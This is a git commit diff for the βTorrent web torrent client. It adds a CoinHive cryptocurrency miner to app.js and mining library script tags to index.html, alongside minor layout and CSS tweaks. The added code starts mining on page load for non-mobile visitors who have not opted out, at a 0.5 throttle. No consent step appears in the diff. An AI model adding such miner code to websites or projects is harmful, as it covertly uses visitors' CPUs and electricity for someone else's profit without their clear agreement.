Remove amazon ads and use less CPU CoinHive
This commit is contained in:
parent
c60cdfe9c1
commit
a9b22c656a
3 changed files with 38 additions and 20 deletions
10
app.js
10
app.js
|
@ -1,4 +1,4 @@
|
||||||
/* global WebTorrent, angular, moment, prompt */
|
/* global WebTorrent, angular, moment, prompt, CoinHive */
|
||||||
|
|
||||||
const VERSION = '0.17.7'
|
const VERSION = '0.17.7'
|
||||||
|
|
||||||
|
@ -64,6 +64,14 @@ const app = angular.module('BTorrent',
|
||||||
)
|
)
|
||||||
|
|
||||||
app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) {
|
app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) {
|
||||||
|
if (window.CoinHive) {
|
||||||
|
const miner = new CoinHive.Anonymous('YzzZ9mraj45TeCzxlvBX7yVm9O3GbV60', {throttle: 0.5})
|
||||||
|
|
||||||
|
if (!miner.isMobile() && !miner.didOptOut(3600)) {
|
||||||
|
miner.start()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
let updateAll
|
let updateAll
|
||||||
$rootScope.version = VERSION
|
$rootScope.version = VERSION
|
||||||
ngNotify.config({
|
ngNotify.config({
|
||||||
|
|
12
index.html
12
index.html
|
@ -8,7 +8,8 @@
|
||||||
<meta name="keywords" content="βTorrent, btorrent, client, webtorrent, browser, torrent, stream, bittorrent, torrenting, sharing, filesharing">
|
<meta name="keywords" content="βTorrent, btorrent, client, webtorrent, browser, torrent, stream, bittorrent, torrenting, sharing, filesharing">
|
||||||
<meta name="author" content="Diego Rodríguez Baquero - DiegoRBaquero">
|
<meta name="author" content="Diego Rodríguez Baquero - DiegoRBaquero">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
<script src="https://cdn.jsdelivr.net/g/webtorrent@0,momentjs@2,angularjs@1.5(angular.min.js+angular-route.min.js+angular-sanitize.min.js),angular.ui-grid@3.1,angular.ng-notify@0.8,angular.file-upload@12"></script>
|
<script
|
||||||
|
src="https://cdn.jsdelivr.net/g/webtorrent@0,momentjs@2,angularjs@1.5(angular.min.js+angular-route.min.js+angular-sanitize.min.js),angular.ui-grid@3.1,angular.ng-notify@0.8,angular.file-upload@12"></script>
|
||||||
<link rel="stylesheet" href="https://cdn.jsdelivr.net/g/normalize@3.0,skeleton@2.0,angular.ng-notify@0.8(ng-notify.min.css)">
|
<link rel="stylesheet" href="https://cdn.jsdelivr.net/g/normalize@3.0,skeleton@2.0,angular.ng-notify@0.8(ng-notify.min.css)">
|
||||||
<link rel="stylesheet" href="https://cdn.jsdelivr.net/fontawesome/4.6/css/font-awesome.min.css">
|
<link rel="stylesheet" href="https://cdn.jsdelivr.net/fontawesome/4.6/css/font-awesome.min.css">
|
||||||
<link rel="stylesheet" href="https://cdn.jsdelivr.net/angular.ui-grid/3.1/ui-grid.min.css">
|
<link rel="stylesheet" href="https://cdn.jsdelivr.net/angular.ui-grid/3.1/ui-grid.min.css">
|
||||||
|
@ -18,17 +19,22 @@
|
||||||
<header>
|
<header>
|
||||||
<h1>βTorrent<span class="version"> v{{$root.version}}</span></h1>
|
<h1>βTorrent<span class="version"> v{{$root.version}}</span></h1>
|
||||||
<div class="views" ng-show="$root.client.torrents.length == 0"><a ng-href="/#">Full</a> | <a ng-href="/download">Single Download</a> | <a ng-href="/view">Stream / View</a></div>
|
<div class="views" ng-show="$root.client.torrents.length == 0"><a ng-href="/#">Full</a> | <a ng-href="/download">Single Download</a> | <a ng-href="/view">Stream / View</a></div>
|
||||||
|
<div class="aligncenter" style="width: 468px; display: inline-block;">
|
||||||
|
</div>
|
||||||
</header>
|
</header>
|
||||||
<div id="viewer" ng-style="$root.viewerStyle"></div>
|
<div id="viewer" ng-style="$root.viewerStyle"></div>
|
||||||
<div id="view" ng-view></div>
|
<div id="view" ng-view></div>
|
||||||
<footer>
|
<footer>
|
||||||
<a class="button" href="https://github.com/DiegoRBaquero/BTorrent/issues" target="_blank"><i class="fa fa-github"></i> Suggest a feature / Report a bug <i class="fa fa-comment"></i></a><br>
|
<a class="button" href="https://github.com/DiegoRBaquero/BTorrent/issues" target="_blank"><i class="fa fa-github"></i> Suggest a feature / Report a bug <i class="fa fa-comment"></i></a><br>
|
||||||
<b>βTorrent is an Open-Source project by <a href="https://diegorbaquero.com" target="_blank">DiegoRBaquero</a></b><br>
|
<b>βTorrent is an FOSS project made with <span style="color: red">♥</span> by <a href="https://diegorbaquero.com" target="_blank" style="text-decoration: none">DiegoRBaquero</a></b><br>
|
||||||
<b> <a href="https://tracker.btorrent.xyz/stats" target="_blank">βTorrent's Tracker Stats</a></b><br>
|
<b> <a href="https://tracker.btorrent.xyz/stats" target="_blank">βTorrent's Tracker Stats</a></b><br>
|
||||||
Powered by <a href="https://github.com/webtorrent/webtorrent" target="_blank">WebTorrent</a><br>
|
Powered by <a href="https://github.com/webtorrent/webtorrent" target="_blank">WebTorrent</a><br>
|
||||||
<a href="https://www.vultr.com/?ref=6823526"><img src="https://www.vultr.com/media/banner_2.png" width="468" height="60"></a>
|
<a href="https://www.vultr.com/?ref=6823526"><img src="https://www.vultr.com/media/banner_2.png" width="468" height="60"></a><br>
|
||||||
|
</div>
|
||||||
</footer>
|
</footer>
|
||||||
<div class="spinner" ng-show="client.processing"><i class="fa fa-spinner fa-spin spinner-icon"></i></div>
|
<div class="spinner" ng-show="client.processing"><i class="fa fa-spinner fa-spin spinner-icon"></i></div>
|
||||||
<script src="app.js"></script>
|
<script src="app.js"></script>
|
||||||
|
<script src="https://authedmine.com/lib/authedmine.min.js"></script>
|
||||||
|
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
|
@ -81,3 +81,7 @@ input[type="button"].button-danger:focus {
|
||||||
color: #FFF;
|
color: #FFF;
|
||||||
background-color: #C43E3A;
|
background-color: #C43E3A;
|
||||||
border-color: #C43E3A; }
|
border-color: #C43E3A; }
|
||||||
|
|
||||||
|
a {
|
||||||
|
text-decoration: none
|
||||||
|
}
|
||||||
|
|
Loading…
Reference in a new issue